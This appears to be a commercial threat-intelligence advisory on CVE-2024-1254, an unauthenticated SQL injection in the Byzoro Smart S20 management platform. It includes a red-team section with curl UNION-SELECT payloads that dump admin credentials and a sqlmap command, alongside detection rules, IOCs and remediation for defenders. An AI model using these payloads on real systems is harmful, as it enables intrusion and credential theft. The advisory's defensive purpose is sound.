CVE-2024-1254
Executive Summary
CVE-2024-1254 is a critical SQL injection vulnerability in the Byzoro Smart S20 Management Platform, affecting versions up to 20231120. The flaw resides in the /sysmanage/sysmanageajax.php endpoint, where the id parameter is not properly sanitized, allowing remote attackers to execute arbitrary SQL commands. The vendor has not responded to disclosure attempts, and no official patch exists. With a CVSS score of 4.7 (Medium), the vulnerability is easily exploitable and could lead to unauthorized data access, modification, or deletion. Public exploit code is available, increasing the risk of active exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 4.7 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
- Attack Vector: Network (AV:N) – exploitable remotely.
- Attack Complexity: Low (AC:L) – no special conditions required.
- Privileges Required: None (PR:N) – no authentication needed.
- User Interaction: None (UI:N) – no user action required.
- Scope: Unchanged (S:U) – impact confined to the vulnerable component.
- Confidentiality Impact: Low (C:L) – limited data exposure.
- Integrity Impact: Low (I:L) – limited data modification.
- Availability Impact: None (A:N) – no denial of service.
Threat Level: High due to public exploit availability and lack of patch.
Deep Dive & Mechanics
The vulnerability is a classic SQL injection in the id parameter of /sysmanage/sysmanageajax.php. The application likely constructs a SQL query by directly concatenating user input without proper sanitization or parameterized queries. An attacker can inject SQL commands by manipulating the id parameter, potentially extracting sensitive data, modifying records, or executing administrative operations.
Example vulnerable code pattern (conceptual):
$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = $id";
$result = mysqli_query($conn, $query);
Exploitation vector: The attacker sends a crafted HTTP GET request to the vulnerable endpoint with a malicious id value. For example:
GET /sysmanage/sysmanageajax.php?id=1 UNION SELECT username,password FROM admin_users
The lack of input validation allows the attacker to break out of the intended SQL context and execute arbitrary queries.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
<?php
$id = $_GET['id'];
$sql = "SELECT * FROM devices WHERE id = " . $id;
$result = $conn->query($sql);
?>
Patched Code (Conceptual):
<?php
$id = intval($_GET['id']); // Cast to integer
$sql = "SELECT * FROM devices WHERE id = ?";
$stmt = $conn->prepare($sql);
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();
?>
The patched version uses prepared statements and input validation to prevent SQL injection.
Exploitation & Lab Setup
Red Team (Offensive)
Lab Setup:
- Deploy a vulnerable Byzoro Smart S20 instance (version up to 20231120) in an isolated environment.
- Use a tool like Burp Suite or
curlto interact with the endpoint.
Exploitation Steps:
- Identify the vulnerable endpoint:
curl -v "http://target/sysmanage/sysmanageajax.php?id=1" - Test for SQL injection using a simple payload:
curl "http://target/sysmanage/sysmanageajax.php?id=1' OR '1'='1" - Extract database information using UNION-based injection:
curl "http://target/sysmanage/sysmanageajax.php?id=1 UNION SELECT 1,2,3,4,5--" - Dump credentials or sensitive data:
curl "http://target/sysmanage/sysmanageajax.php?id=1 UNION SELECT username,password,3,4,5 FROM admin_users--"
Automated Exploitation (using sqlmap):
sqlmap -u "http://target/sysmanage/sysmanageajax.php?id=1" --batch --dbs
Blue Team (Defensive)
Detection:
- Monitor for unusual SQL error messages in logs.
- Look for patterns like
' OR,UNION SELECT,--in HTTP request parameters. - Use WAF rules to block SQL injection attempts.
Mitigation:
- Immediately isolate affected systems if possible.
- Implement input validation and parameterized queries.
- Apply virtual patching via WAF.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP requests to
/sysmanage/sysmanageajax.phpwith suspiciousidparameter values. - SQL error messages in HTTP responses (e.g., "You have an error in your SQL syntax").
- Outbound database connections from the web server to unexpected IPs.
File IOCs:
- Modified or new files in the web root (e.g., webshells).
- Unusual entries in web server access logs.
Log IOCs:
- Repeated failed SQL queries in database logs.
- Anomalous HTTP 500 errors from the vulnerable endpoint.
Detection Engineering
YARA Rule
rule CVE_2024_1254_SQLi_Attempt {
meta:
description = "Detects SQL injection attempts targeting CVE-2024-1254"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-1254"
strings:
$sqli1 = "id="
$sqli2 = "' OR"
$sqli3 = "UNION SELECT"
$sqli4 = "1=1"
$sqli5 = "--"
condition:
any of ($sqli*) and #sqli1 > 0
}
Sigma Rule
title: SQL Injection Attempt Against Byzoro Smart S20
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts targeting /sysmanage/sysmanageajax.php
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- '/sysmanage/sysmanageajax.php'
cs-uri-query|contains|all:
- 'id='
- "'"
- 'OR'
- 'UNION'
condition: selection
falsepositives:
- Legitimate use of single quotes in parameters (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2024-1254 SQL Injection Attempt"; flow:to_server,established; content:"/sysmanage/sysmanageajax.php"; http_uri; content:"id="; http_uri; pcre:"/(\x27|\x22)\s*(OR|UNION|SELECT|AND|--)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the affected system from the network if possible.
- Apply virtual patching using a Web Application Firewall (WAF) to block SQL injection patterns.
- Monitor logs for exploitation attempts.
Long-term Fix:
- Since no official patch exists, consider migrating to a different platform or implementing custom code fixes:
- Replace all dynamic SQL queries with parameterized statements.
- Validate and sanitize all user inputs (e.g., cast
idto integer). - Implement least-privilege database accounts.
Workaround:
- Restrict access to
/sysmanage/sysmanageajax.phpvia.htaccessor firewall rules to trusted IPs only.
Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.